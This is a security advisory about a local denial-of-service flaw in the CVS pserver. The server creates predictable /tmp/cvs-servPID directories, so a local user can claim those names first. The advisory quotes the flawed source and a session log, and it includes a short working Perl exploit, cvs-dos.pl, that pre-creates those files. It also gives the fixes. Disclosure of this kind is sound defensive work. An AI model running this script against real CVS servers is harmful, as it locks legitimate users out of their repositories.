COMMAND

    CVS

SYSTEMS AFFECTED

    Systems with CVS

PROBLEM


    Michal  Szymanski  found  following.   He  found  annoying  bug in
    cvs-1.10.7 (probably others too).  Let's assume you've decided  to
    make  your  remote  cvs  repository  available  to several trusted
    people.  Therefore you need to edit your /etc/inetd.conf file  and
    add line similar to presented below:

        cvspserver  stream  tcp  nowait  root  /usr/bin/cvs cvs --allow-root==/usr/cvsroot pserver

    This line comes directly from cvs info.  In this case we are using
    a  password  protocol  (but  it  isn't  relevant).   After   other
    administrative tasks chosen users can use your remote  repository.
    So far everything is fine.  But what will happen if malicious user
    called siva9 owns a  shell account in your  system?   He  can do a
    lot of evil.  For example, he can get cvs server confused.  How?

    First of  all you  need to  know that  cvs server  creates locking
    directories in /tmp. It is required for normal working.  There  is
    nothing weird in such behaviour,  so long as it has  been properly
    done.  Unfortunately method of  generating new file names is  very
    simple  and  weak.   Every  file  name  is  easily predictable and
    consists  of  two  parts:   /tmp/cvs-serv  string  and  PID of the
    current working cvs server:

        src/main.c:main():

        (....)

        Tmpdir="/tmp"

        (....)

        --------------

        src/server.c:server()

        (....)

        server_temp_dir = malloc (strlen (Tmpdir) + 80);

        (....)

        strcpy (server_temp_dir, Tmpdir);

        /* Remove a trailing slash from TMPDIR if present.  */
        p = server_temp_dir + strlen (server_temp_dir) - 1;
        if (*p == '/')
	        *p = '\0';

        /*
         * I wanted to use cvs-serv/PID, but then you have to worry about
         * the permissions on the cvs-serv directory being right.  So
         * use cvs-servPID. <-- here start our problems
         */
        strcat (server_temp_dir, "/cvs-serv");

        p = server_temp_dir + strlen (server_temp_dir);
        sprintf (p, "%ld", (long) getpid ());

        (....)

        status = mkdir_p (server_temp_dir);

        (....)

    server()  function  is  executed  after  AUTH REQUEST, so all root
    privileges are  dropped and  it can't  create temporary  directory
    which is already owned by another user.  So, if we are capable  of
    predicting next file  name we can  cause effective DoS  for one or
    even all sessions, no matter we have access to repository, or not.
    On heavily loaded server it is hard to predict next PID value  and
    in this way we can stop only one cvs session from normal  working.
    Therefore cvs-dos.pl script below creates a lot of filenames  with
    PID value in  range from 400  to 4000 (adjust  these values).   If
    there is no  "inodes in use"  limitation, it will  succeed and cvs
    server will not work properly:

        [siva9@cvs ~]$ id
        uid=17539(siva9) gid=150(lusers) groups=150(lusers),80(network),250(cvs)
        [siva9@cvs ~]$ ./cvs-dos.pl

        .......

        [MySZ@localhost ~]$ CVSROOT=:pserver:MySZ@cvs:/usr/cvsroot
        [MySZ@localhost ~]$ export CVSROOT
        [MySZ@localhost ~]$ cvs login
        (Logging in to MySZ@cvs)
        CVS password:
        [MySZ@localhost ~]$ cvs co .
        cannot change permissions on temporary directory
        Operation not permitted
        [MySZ@localhost ~]$

    From now on cvs users won't be able to access repository.  How  to
    solve this problem?  There is  a cvs server option which allow  us
    to   use    another    temporary   directory.      Just     create
    /usr/cvsroot/cvstmp directory and append following string to  your
    cvspserver line:

        -T /usr/cvsroot/cvstmp

    Then  you  can  change  cvstmp's  group  ownership  to cvs and add
    trusted  users  to  it.   Unfortunately  it's  not  really correct
    solution,  cause  cvs  users  still  can stop server from working.
    Michal recommends to  use in server.c  file mktemp(3) function  or
    any  other  method  which  generate  unique  filenames.    Partial
    solution  is  also  to  use  quotas  on  a  partition  where /tmp/
    directory resides.  Simple exploit is below.

    cvs-dos.pl:

    #!/usr/bin/perl

    $min=400;
    $max=4000;

    for ($x=$min;$x<=$max;$x++) {
		    open CVSTMP, ">>/tmp/cvs-serv$x" or die "/tmp/cvs-serv$x: $!";
		    chmod 0600, "/tmp/cvs-serv$x";
		    close CVSTMP;
    }

SOLUTION

    So the workaround  (or fix?) is  obvious: set TMPDIR  to something
    only  writable  by  legitimate  processes,  such  as  the  pserver
    itself.  cvs also listens to a -T command line option, and  passes
    that setting  on to  any subprocesses  via the  TMPDIR environment
    variable, in that case.